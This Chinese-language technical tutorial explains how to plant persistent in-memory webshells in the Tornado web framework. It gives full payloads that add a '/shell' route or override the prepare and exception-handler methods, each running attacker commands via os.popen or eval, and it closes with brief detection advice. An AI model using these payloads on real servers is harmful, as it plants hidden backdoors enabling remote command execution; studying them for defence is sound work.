Tornado框架内存马技术深入解析
一、内存马基本概念
内存马(Memory Shell)是一种驻留在内存中的恶意后门技术,它不需要在磁盘上存储文件,通过修改Web应用程序的运行时代码逻辑来实现持久化控制。
在Tornado框架中实现内存马主要有两种思路:
- 注册一个新的URL,绑定恶意函数
- 修改原有的URL处理逻辑
二、Tornado模板机制与内存马
Tornado的模板系统有一个重要特性:一旦调用self.render()方法,就会实例化一个tornado.template.Loader,之后即使修改模板文件内容,也不会重新实例化。
解决方法:需要清空tornado.web.RequestHandler._template_loaders,否则在利用时会一直使用第一个传入的payload。
三、路由规则分析与新增注册路由
1. 路由添加机制
Tornado的Application类提供了add_handlers方法,类似于Flask中的add_url_rule函数,可以将指定的路由加入当前的路由表中。
关键点:如果能够控制输入并触发该方法,就可以在运行时向应用中加入新的处理程序。
2. add_handlers函数参数构造
add_handlers函数接受两个参数:
host_pattern:字符串类型,通常构造为.*匹配所有域名host_handlers:类型为_RuleList,较为复杂
3. _RuleList与add_rules
add_rules方法用于向路由器添加新的规则:
- 每个规则由匹配器(
Matcher)和目标处理器(target)组成 - 匹配器决定哪些请求应该被处理
- 目标处理器是实际处理请求的对象
当传入元组或列表且第一个元素为字符串时,Tornado会自动调用PathMatches类生成匹配器对象。
示例:
('/path/to/match', handler_class)
其中'/path/to/match'将被转换成PathMatches对象,handler_class是处理请求的类。
四、动态创建恶意RequestHandler
利用Python的type()函数动态创建RequestHandler子类:
type(
"x", # 新类名
(__import__("tornado").web.RequestHandler,), # 继承自RequestHandler
{
"get": lambda self: self.write(
str(__import__('os').popen(
self.get_query_argument("cmd")
).read())
)
}
)
解释:
- 创建名为"x"的新类,继承自
RequestHandler - 重写
get方法,从请求参数中提取"cmd"并执行 - 通过
os.popen执行系统命令并将结果返回
完整Payload示例
app.add_handlers(
".*", # 匹配所有域名
[
(
"/shell", # 恶意路由路径
type(
"x",
(__import__("tornado").web.RequestHandler,),
{
"get": lambda self: self.write(
str(__import__('os').popen(
self.get_query_argument("cmd")
).read())
)
}
)
)
]
)
五、覆盖处理函数技术
由于Tornado每次请求都是全新的handler和request,直接绑定恶意函数到handler实例无法持久化。
解决方案:修改类级别行为
修改RequestHandler类本身的方法,如prepare()(每个请求开始前调用的方法):
handler.__class__.prepare = lambda self: self.write(
str(__import__('os').popen(
self.get_query_argument("cmd", "id")
).read())
) or self.finish()
关键点:
handler.__class__指向RequestHandler类本身- 修改类方法会影响所有后续创建的实例
- 使用
self.get_query_argument动态获取请求参数
六、异常处理机制下的内存马
1. Tornado异常处理流程
当请求处理过程中出现未捕获异常时,控制流会转移到RequestHandler._handle_request_exception方法:
- 记录异常信息(非
Finish类型异常) - 设置响应状态码(
HTTPError使用其状态码,否则默认500) - 调用
send_error发送错误响应
2. 数据输出机制
RequestHandler.write()将数据写入内部缓冲区_write_bufferflush()检查并发送未发送的数据request.connection.write()直接发送数据,绕过标准缓冲机制
3. 异常处理内存马构造
覆盖_handle_request_exception方法:
handler.__class__._handle_request_exception = lambda x, y: [
x.write((str(eval(x.get_query_argument("cmd", "id")))).encode()),
x.finish()
][0]
解析:
- 忽略传入的异常对象
y,直接执行命令 - 从查询参数获取"cmd"值(默认"id")
- 使用
eval()执行命令字符串 - 将结果转换为字符串并编码
- 写入响应并结束请求
[0]确保即使write()抛出异常也会执行finish()
七、防御与检测建议
- 代码审计:检查是否有动态类创建和路由添加操作
- 运行时监控:监控
add_handlers和_handle_request_exception的修改 - 权限控制:限制执行系统命令的能力
- 输入验证:严格验证所有用户输入,特别是eval/popen的参数
- 内存检测:定期扫描内存中的异常类和方法修改
八、参考资源
- SecMap-SSTI-tornado
- Tornado官方文档关于路由和异常处理的部分